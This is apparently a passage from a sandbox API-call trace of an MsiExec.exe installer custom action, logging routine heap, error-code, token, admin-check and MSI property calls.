returned 256 [0146.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x21dee40, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿæ0)@xñ\x1d\x02\x87g\x9ft¨\x194", lpUsedDefaultChar=0x0) returned 256 [0146.397] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x74a12c00, nSize=0x104 | out: lpFilename="C:\\Windows\\syswow64\\MsiExec.exe" (normalized: "c:\\windows\\syswow64\\msiexec.exe")) returned 0x1f [0146.397] GetLastError () returned 0x0 [0146.397] SetLastError (dwErrCode=0x0) [0146.397] GetLastError () returned 0x0 [0146.397] SetLastError (dwErrCode=0x0) [0146.399] GetLastError () returned 0x0 [0146.399] SetLastError (dwErrCode=0x0) [0146.399] GetLastError () returned 0x0 [0146.399] SetLastError (dwErrCode=0x0) [0146.399] GetLastError () returned 0x0 [0146.400] SetLastError (dwErrCode=0x0) [0146.400] GetLastError () returned 0x0 [0146.400] SetLastError (dwErrCode=0x0) [0146.400] GetLastError () returned 0x0 [0146.400] SetLastError (dwErrCode=0x0) [0146.400] GetLastError () returned 0x0 [0146.400] SetLastError (dwErrCode=0x0) [0146.400] GetLastError () returned 0x0 [0146.400] SetLastError (dwErrCode=0x0) [0146.400] GetLastError () returned 0x0 [0146.400] SetLastError (dwErrCode=0x0) [0146.400] GetLastError () returned 0x0 [0146.400] SetLastError (dwErrCode=0x0) [0146.400] GetLastError () returned 0x0 [0146.400] SetLastError (dwErrCode=0x0) [0146.400] GetLastError () returned 0x0 [0146.400] SetLastError (dwErrCode=0x0) [0146.401] GetLastError () returned 0x0 [0146.401] SetLastError (dwErrCode=0x0) [0146.401] GetLastError () returned 0x0 [0146.401] SetLastError (dwErrCode=0x0) [0146.401] GetLastError () returned 0x0 [0146.401] SetLastError (dwErrCode=0x0) [0146.401] GetLastError () returned 0x0 [0146.401] SetLastError (dwErrCode=0x0) [0146.401] GetLastError () returned 0x0 [0146.401] SetLastError (dwErrCode=0x0) [0146.401] GetLastError () returned 0x0 [0146.401] SetLastError (dwErrCode=0x0) [0146.401] GetLastError () returned 0x0 [0146.401] SetLastError (dwErrCode=0x0) [0146.401] GetLastError () returned 0x0 [0146.401] SetLastError (dwErrCode=0x0) [0146.401] GetLastError () returned 0x0 [0146.401] SetLastError (dwErrCode=0x0) [0146.402] GetLastError () returned 0x0 [0146.402] SetLastError (dwErrCode=0x0) [0146.402] GetLastError () returned 0x0 [0146.402] SetLastError (dwErrCode=0x0) [0146.402] GetLastError () returned 0x0 [0146.402] SetLastError (dwErrCode=0x0) [0146.402] GetLastError () returned 0x0 [0146.402] SetLastError (dwErrCode=0x0) [0146.402] GetLastError () returned 0x0 [0146.402] SetLastError (dwErrCode=0x0) [0146.402] GetLastError () returned 0x0 [0146.402] SetLastError (dwErrCode=0x0) [0146.402] GetLastError () returned 0x0 [0146.402] SetLastError (dwErrCode=0x0) [0146.402] GetLastError () returned 0x0 [0146.402] SetLastError (dwErrCode=0x0) [0146.402] GetLastError () returned 0x0 [0146.402] SetLastError (dwErrCode=0x0) [0146.403] GetLastError () returned 0x0 [0146.403] SetLastError (dwErrCode=0x0) [0146.403] GetLastError () returned 0x0 [0146.403] SetLastError (dwErrCode=0x0) [0146.403] GetLastError () returned 0x0 [0146.403] SetLastError (dwErrCode=0x0) [0146.403] GetLastError () returned 0x0 [0146.403] SetLastError (dwErrCode=0x0) [0146.403] GetLastError () returned 0x0 [0146.403] SetLastError (dwErrCode=0x0) [0146.403] GetLastError () returned 0x0 [0146.403] SetLastError (dwErrCode=0x0) [0146.403] GetLastError () returned 0x0 [0146.403] SetLastError (dwErrCode=0x0) [0146.403] GetLastError () returned 0x0 [0146.403] SetLastError (dwErrCode=0x0) [0146.403] GetLastError () returned 0x0 [0146.403] SetLastError (dwErrCode=0x0) [0146.404] GetLastError () returned 0x0 [0146.404] SetLastError (dwErrCode=0x0) [0146.404] GetLastError () returned 0x0 [0146.404] SetLastError (dwErrCode=0x0) [0146.404] GetLastError () returned 0x0 [0146.404] SetLastError (dwErrCode=0x0) [0146.404] GetLastError () returned 0x0 [0146.404] SetLastError (dwErrCode=0x0) [0146.404] GetLastError () returned 0x0 [0146.404] SetLastError (dwErrCode=0x0) [0146.404] GetLastError () returned 0x0 [0146.404] SetLastError (dwErrCode=0x0) [0146.404] GetLastError () returned 0x0 [0146.404] SetLastError (dwErrCode=0x0) [0146.404] GetLastError () returned 0x0 [0146.404] SetLastError (dwErrCode=0x0) [0146.404] GetLastError () returned 0x0 [0146.404] SetLastError (dwErrCode=0x0) [0146.405] GetLastError () returned 0x0 [0146.405] SetLastError (dwErrCode=0x0) [0146.405] GetLastError () returned 0x0 [0146.405] SetLastError (dwErrCode=0x0) [0146.405] GetLastError () returned 0x0 [0146.405] SetLastError (dwErrCode=0x0) [0146.405] GetLastError () returned 0x0 [0146.405] SetLastError (dwErrCode=0x0) [0146.405] GetLastError () returned 0x0 [0146.405] SetLastError (dwErrCode=0x0) [0146.405] GetLastError () returned 0x0 [0146.405] SetLastError (dwErrCode=0x0) [0146.405] GetLastError () returned 0x0 [0146.405] SetLastError (dwErrCode=0x0) [0146.405] GetLastError () returned 0x0 [0146.405] SetLastError (dwErrCode=0x0) [0146.405] GetLastError () returned 0x0 [0146.406] SetLastError (dwErrCode=0x0) [0146.406] GetLastError () returned 0x0 [0146.406] SetLastError (dwErrCode=0x0) [0146.406] GetLastError () returned 0x0 [0146.406] SetLastError (dwErrCode=0x0) [0146.406] GetLastError () returned 0x0 [0146.406] SetLastError (dwErrCode=0x0) [0146.406] GetLastError () returned 0x0 [0146.406] SetLastError (dwErrCode=0x0) [0146.406] GetLastError () returned 0x0 [0146.406] SetLastError (dwErrCode=0x0) [0146.406] GetLastError () returned 0x0 [0146.406] SetLastError (dwErrCode=0x0) [0146.406] GetLastError () returned 0x0 [0146.406] SetLastError (dwErrCode=0x0) [0146.406] GetLastError () returned 0x0 [0146.406] SetLastError (dwErrCode=0x0) [0146.406] GetLastError () returned 0x0 [0146.407] SetLastError (dwErrCode=0x0) [0146.407] GetLastError () returned 0x0 [0146.407] SetLastError (dwErrCode=0x0) [0146.407] GetLastError () returned 0x0 [0146.407] SetLastError (dwErrCode=0x0) [0146.407] GetLastError () returned 0x0 [0146.407] SetLastError (dwErrCode=0x0) [0146.407] GetLastError () returned 0x0 [0146.407] SetLastError (dwErrCode=0x0) [0146.407] GetLastError () returned 0x0 [0146.407] SetLastError (dwErrCode=0x0) [0146.407] GetLastError () returned 0x0 [0146.407] SetLastError (dwErrCode=0x0) [0146.407] GetLastError () returned 0x0 [0146.407] SetLastError (dwErrCode=0x0) [0146.407] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x5c) returned 0x3419b0 [0146.407] GetLastError () returned 0x0 [0146.408] SetLastError (dwErrCode=0x0) [0146.408] GetLastError () returned 0x0 [0146.408] SetLastError (dwErrCode=0x0) [0146.408] GetLastError () returned 0x0 [0146.408] SetLastError (dwErrCode=0x0) [0146.408] GetLastError () returned 0x0 [0146.408] SetLastError (dwErrCode=0x0) [0146.408] GetLastError () returned 0x0 [0146.408] SetLastError (dwErrCode=0x0) [0146.408] GetLastError () returned 0x0 [0146.408] SetLastError (dwErrCode=0x0) [0146.408] GetLastError () returned 0x0 [0146.408] SetLastError (dwErrCode=0x0) [0146.408] GetLastError () returned 0x0 [0146.408] SetLastError (dwErrCode=0x0) [0146.408] GetLastError () returned 0x0 [0146.408] SetLastError (dwErrCode=0x0) [0146.408] GetLastError () returned 0x0 [0146.409] SetLastError (dwErrCode=0x0) [0146.409] GetLastError () returned 0x0 [0146.409] SetLastError (dwErrCode=0x0) [0146.409] GetLastError () returned 0x0 [0146.409] SetLastError (dwErrCode=0x0) [0146.409] GetLastError () returned 0x0 [0146.409] SetLastError (dwErrCode=0x0) [0146.409] GetLastError () returned 0x0 [0146.409] SetLastError (dwErrCode=0x0) [0146.409] GetLastError () returned 0x0 [0146.409] SetLastError (dwErrCode=0x0) [0146.409] GetLastError () returned 0x0 [0146.409] SetLastError (dwErrCode=0x0) [0146.409] GetLastError () returned 0x0 [0146.409] SetLastError (dwErrCode=0x0) [0146.409] GetLastError () returned 0x0 [0146.409] SetLastError (dwErrCode=0x0) [0146.409] GetLastError () returned 0x0 [0146.410] SetLastError (dwErrCode=0x0) [0146.410] GetLastError () returned 0x0 [0146.410] SetLastError (dwErrCode=0x0) [0146.410] GetLastError () returned 0x0 [0146.410] SetLastError (dwErrCode=0x0) [0146.410] GetLastError () returned 0x0 [0146.410] SetLastError (dwErrCode=0x0) [0146.410] GetLastError () returned 0x0 [0146.410] SetLastError (dwErrCode=0x0) [0146.410] GetLastError () returned 0x0 [0146.410] SetLastError (dwErrCode=0x0) [0146.410] GetLastError () returned 0x0 [0146.410] SetLastError (dwErrCode=0x0) [0146.410] GetLastError () returned 0x0 [0146.410] SetLastError (dwErrCode=0x0) [0146.410] GetLastError () returned 0x0 [0146.410] SetLastError (dwErrCode=0x0) [0146.410] GetLastError () returned 0x0 [0146.411] SetLastError (dwErrCode=0x0) [0146.411] GetLastError () returned 0x0 [0146.411] SetLastError (dwErrCode=0x0) [0146.411] GetLastError () returned 0x0 [0146.411] SetLastError (dwErrCode=0x0) [0146.411] GetLastError () returned 0x0 [0146.411] SetLastError (dwErrCode=0x0) [0146.411] GetLastError () returned 0x0 [0146.411] SetLastError (dwErrCode=0x0) [0146.411] GetLastError () returned 0x0 [0146.411] SetLastError (dwErrCode=0x0) [0146.411] GetLastError () returned 0x0 [0146.411] SetLastError (dwErrCode=0x0) [0146.411] GetLastError () returned 0x0 [0146.411] SetLastError (dwErrCode=0x0) [0146.411] GetLastError () returned 0x0 [0146.411] SetLastError (dwErrCode=0x0) [0146.411] GetLastError () returned 0x0 [0146.412] SetLastError (dwErrCode=0x0) [0146.412] GetLastError () returned 0x0 [0146.412] SetLastError (dwErrCode=0x0) [0146.412] GetLastError () returned 0x0 [0146.412] SetLastError (dwErrCode=0x0) [0146.412] GetLastError () returned 0x0 [0146.412] SetLastError (dwErrCode=0x0) [0146.412] GetLastError () returned 0x0 [0146.412] SetLastError (dwErrCode=0x0) [0146.412] GetLastError () returned 0x0 [0146.412] SetLastError (dwErrCode=0x0) [0146.412] GetLastError () returned 0x0 [0146.412] SetLastError (dwErrCode=0x0) [0146.412] GetLastError () returned 0x0 [0146.412] SetLastError (dwErrCode=0x0) [0146.412] GetLastError () returned 0x0 [0146.412] SetLastError (dwErrCode=0x0) [0146.412] GetLastError () returned 0x0 [0146.412] SetLastError (dwErrCode=0x0) [0146.413] GetLastError () returned 0x0 [0146.413] SetLastError (dwErrCode=0x0) [0146.413] GetLastError () returned 0x0 [0146.413] SetLastError (dwErrCode=0x0) [0146.413] GetLastError () returned 0x0 [0146.413] SetLastError (dwErrCode=0x0) [0146.424] GetLastError () returned 0x0 [0146.424] SetLastError (dwErrCode=0x0) [0146.424] GetLastError () returned 0x0 [0146.424] SetLastError (dwErrCode=0x0) [0146.424] GetLastError () returned 0x0 [0146.424] SetLastError (dwErrCode=0x0) [0146.424] GetLastError () returned 0x0 [0146.424] SetLastError (dwErrCode=0x0) [0146.424] GetLastError () returned 0x0 [0146.424] SetLastError (dwErrCode=0x0) [0146.424] GetLastError () returned 0x0 [0146.424] SetLastError (dwErrCode=0x0) [0146.424] GetLastError () returned 0x0 [0146.424] SetLastError (dwErrCode=0x0) [0146.424] GetLastError () returned 0x0 [0146.425] SetLastError (dwErrCode=0x0) [0146.425] GetLastError () returned 0x0 [0146.425] SetLastError (dwErrCode=0x0) [0146.425] GetLastError () returned 0x0 [0146.425] SetLastError (dwErrCode=0x0) [0146.425] GetLastError () returned 0x0 [0146.425] SetLastError (dwErrCode=0x0) [0146.425] GetLastError () returned 0x0 [0146.425] SetLastError (dwErrCode=0x0) [0146.425] GetLastError () returned 0x0 [0146.425] SetLastError (dwErrCode=0x0) [0146.425] GetLastError () returned 0x0 [0146.425] SetLastError (dwErrCode=0x0) [0146.425] GetLastError () returned 0x0 [0146.425] SetLastError (dwErrCode=0x0) [0146.425] GetLastError () returned 0x0 [0146.426] SetLastError (dwErrCode=0x0) [0146.426] GetLastError () returned 0x0 [0146.426] SetLastError (dwErrCode=0x0) [0146.426] GetLastError () returned 0x0 [0146.426] SetLastError (dwErrCode=0x0) [0146.426] GetLastError () returned 0x0 [0146.426] SetLastError (dwErrCode=0x0) [0146.426] GetLastError () returned 0x0 [0146.426] SetLastError (dwErrCode=0x0) [0146.426] GetLastError () returned 0x0 [0146.426] SetLastError (dwErrCode=0x0) [0146.426] GetLastError () returned 0x0 [0146.426] SetLastError (dwErrCode=0x0) [0146.426] GetLastError () returned 0x0 [0146.426] SetLastError (dwErrCode=0x0) [0146.426] GetLastError () returned 0x0 [0146.426] SetLastError (dwErrCode=0x0) [0146.427] GetLastError () returned 0x0 [0146.427] SetLastError (dwErrCode=0x0) [0146.427] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x98) returned 0x341a18 [0146.427] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x1f) returned 0x341ab8 [0146.427] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x2b) returned 0x341ae0 [0146.427] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x37) returned 0x341b18 [0146.427] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x3c) returned 0x341b58 [0146.427] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x31) returned 0x341ba0 [0146.427] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x18) returned 0x341be0 [0146.427] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x24) returned 0x341c00 [0146.427] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x14) returned 0x341c30 [0146.427] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xd) returned 0x341c50 [0146.427] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x1a) returned 0x341c68 [0146.427] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x2e) returned 0x341c90 [0146.427] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x19) returned 0x341cc8 [0146.427] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x17) returned 0x341cf0 [0146.427] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xe) returned 0x341d10 [0146.427] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x95) returned 0x341d28 [0146.427] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x3e) returned 0x341dc8 [0146.427] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x1b) returned 0x341e10 [0146.427] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x1d) returned 0x341e38 [0146.427] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x48) returned 0x341e60 [0146.427] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x12) returned 0x341eb0 [0146.427] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x18) returned 0x341ed0 [0146.427] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x1b) returned 0x341ef0 [0146.427] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x24) returned 0x341f18 [0146.427] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x29) returned 0x341f48 [0146.428] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x1e) returned 0x341f80 [0146.428] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x6b) returned 0x341fa8 [0146.428] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x17) returned 0x342020 [0146.428] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xf) returned 0x342040 [0146.428] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x16) returned 0x342058 [0146.428] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x2a) returned 0x342078 [0146.428] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x29) returned 0x3420b0 [0146.428] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x16) returned 0x3420e8 [0146.428] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x13) returned 0x342108 [0146.428] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x1f) returned 0x342128 [0146.428] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x12) returned 0x342150 [0146.428] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x18) returned 0x342170 [0146.428] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x46) returned 0x342190 [0146.430] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x3409f0 | out: hHeap=0x340000) returned 1 [0146.431] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x752b0000 [0146.432] GetProcAddress (hModule=0x752b0000, lpProcName="IsProcessorFeaturePresent") returned 0x752c51ed [0146.432] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0146.433] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x80) returned 0x3409f0 [0146.433] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x800) returned 0x3421e0 [0146.434] RtlSizeHeap (HeapHandle=0x340000, Flags=0x0, MemoryPointer=0x3409f0) returned 0x80 [0146.435] RtlSizeHeap (HeapHandle=0x340000, Flags=0x0, MemoryPointer=0x3409f0) returned 0x80 [0146.436] RtlSizeHeap (HeapHandle=0x340000, Flags=0x0, MemoryPointer=0x3409f0) returned 0x80 [0146.436] RtlSizeHeap (HeapHandle=0x340000, Flags=0x0, MemoryPointer=0x3409f0) returned 0x80 [0146.437] RtlSizeHeap (HeapHandle=0x340000, Flags=0x0, MemoryPointer=0x3409f0) returned 0x80 [0146.438] RtlSizeHeap (HeapHandle=0x340000, Flags=0x0, MemoryPointer=0x3409f0) returned 0x80 [0146.438] GetProcessHeap () returned 0x5c0000 [0146.438] RtlSizeHeap (HeapHandle=0x340000, Flags=0x0, MemoryPointer=0x3409f0) returned 0x80 [0146.439] RtlSizeHeap (HeapHandle=0x340000, Flags=0x0, MemoryPointer=0x3409f0) returned 0x80 [0146.439] RtlSizeHeap (HeapHandle=0x340000, Flags=0x0, MemoryPointer=0x3409f0) returned 0x80 [0146.448] MsiCreateRecord (cParams=0x2) returned 0x2 [0146.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dba90 [0146.458] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dba90, Size=0x70) returned 0x5f5510 [0146.458] MsiRecordSetStringW (hRecord=0x2, iField=0x0, szValue="-- CUSTOM ACTION -- InstallPrepare") returned 0x0 [0146.462] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x2) returned 0 [0146.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5510 | out: hHeap=0x5c0000) returned 1 [0146.473] MsiCloseHandle (hAny=0x2) returned 0x0 [0146.476] GetCurrentProcess () returned 0xffffffff [0146.476] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x21df50c | out: TokenHandle=0x21df50c*=0x178) returned 1 [0146.476] GetTokenInformation (in: TokenHandle=0x178, TokenInformationClass=0x14, TokenInformation=0x21df504, TokenInformationLength=0x4, ReturnLength=0x21df508 | out: TokenInformation=0x21df504, ReturnLength=0x21df508) returned 1 [0146.477] CloseHandle (hObject=0x178) returned 1 [0146.477] MsiCreateRecord (cParams=0x2) returned 0x3 [0146.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dba90 [0146.478] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dba90, Size=0x70) returned 0x5f5510 [0146.478] MsiRecordSetStringW (hRecord=0x3, iField=0x0, szValue="-- CUSTOM ACTION -- Elevated") returned 0x0 [0146.479] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x3) returned 0 [0146.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5510 | out: hHeap=0x5c0000) returned 1 [0146.483] MsiCloseHandle (hAny=0x3) returned 0x0 [0146.487] GetUserNameW (in: lpBuffer=0x21de56c, pcbBuffer=0x21de568 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x21de568) returned 1 [0146.494] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x5f56e0 [0146.494] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f56e0, Size=0x50) returned 0x5f56e0 [0146.494] MsiCreateRecord (cParams=0x2) returned 0x4 [0146.495] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.495] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5738 [0146.495] MsiRecordSetStringW (hRecord=0x4, iField=0x0, szValue="-- CUSTOM ACTION -- User name is kEecfMwgj") returned 0x0 [0146.496] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x4) returned 0 [0146.500] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5738 | out: hHeap=0x5c0000) returned 1 [0146.500] MsiCloseHandle (hAny=0x4) returned 0x0 [0146.501] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f56e0 | out: hHeap=0x5c0000) returned 1 [0146.502] IsUserAnAdmin () returned 1 [0146.502] MsiCreateRecord (cParams=0x2) returned 0x5 [0146.503] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.503] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0xa0) returned 0x5f56e0 [0146.503] MsiRecordSetStringW (hRecord=0x5, iField=0x0, szValue="-- CUSTOM ACTION -- The user is a member of the Administrators group.") returned 0x0 [0146.504] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x5) returned 0 [0146.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f56e0 | out: hHeap=0x5c0000) returned 1 [0146.509] MsiCloseHandle (hAny=0x5) returned 0x0 [0146.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.511] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f56e0 [0146.511] MsiCreateRecord (cParams=0x2) returned 0x6 [0146.512] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.512] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5758 [0146.512] MsiRecordSetStringW (hRecord=0x6, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Name=BZ.VER") returned 0x0 [0146.513] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x6) returned 0 [0146.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5758 | out: hHeap=0x5c0000) returned 1 [0146.517] MsiCloseHandle (hAny=0x6) returned 0x0 [0146.519] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f56e0 | out: hHeap=0x5c0000) returned 1 [0146.520] MsiGetPropertyW (in: hInstall=0x1, szName="BZ.VER", szValueBuf=0x74a0a6b8, pcchValueBuf=0x21df4cc | out: szValueBuf="", pcchValueBuf=0x21df4cc) returned 0xea [0146.523] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340a78 [0146.523] MsiGetPropertyW (in: hInstall=0x1, szName="BZ.VER", szValueBuf=0x340a78, pcchValueBuf=0x21df4cc | out: szValueBuf="0", pcchValueBuf=0x21df4cc) returned 0x0 [0146.526] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3bb8 [0146.526] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0146.526] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.526] MsiCreateRecord (cParams=0x2) returned 0x7 [0146.527] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbb20 [0146.527] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbb20, Size=0x70) returned 0x5f56e0 [0146.527] MsiRecordSetStringW (hRecord=0x7, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Value=0") returned 0x0 [0146.528] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x7) returned 0 [0146.532] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f56e0 | out: hHeap=0x5c0000) returned 1 [0146.532] MsiCloseHandle (hAny=0x7) returned 0x0 [0146.534] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5dbad8 | out: hHeap=0x5c0000) returned 1 [0146.534] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.534] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f56e0 [0146.534] MsiCreateRecord (cParams=0x2) returned 0x8 [0146.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.536] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x80) returned 0x5f5758 